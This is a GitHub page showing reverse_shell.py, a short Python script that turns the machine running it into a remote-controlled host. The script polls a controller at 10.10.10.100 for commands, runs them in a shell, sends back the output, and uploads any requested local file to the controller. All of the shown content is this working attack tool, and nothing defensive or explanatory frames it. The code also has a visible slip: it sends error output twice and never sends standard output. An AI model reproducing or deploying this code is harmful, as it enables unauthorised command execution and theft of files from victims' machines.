-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreverse_shell.py
More file actions
24 lines (23 loc) · 864 Bytes
/
reverse_shell.py
File metadata and controls
24 lines (23 loc) · 864 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import subprocess
import os
import time
while True:
sp = subprocess
req = requests.get('http://10.10.10.100')
command = req.text
if 'terminate' in command:
break
elif 'download' in command:
grab, path = command.split('*')
if os.path.exists(path):
url = 'http://10.10.10.100/store'
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://10.10.10.100', data='[-] Not able to find the file!')
else:
CMD = sp.Popen(command, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)
post_response = requests.post(url='http://10.10.10.100', data=CMD.stderr.read())
post_response = requests.post(url='http://10.10.10.100', data=CMD.stderr.read())
time.sleep(3)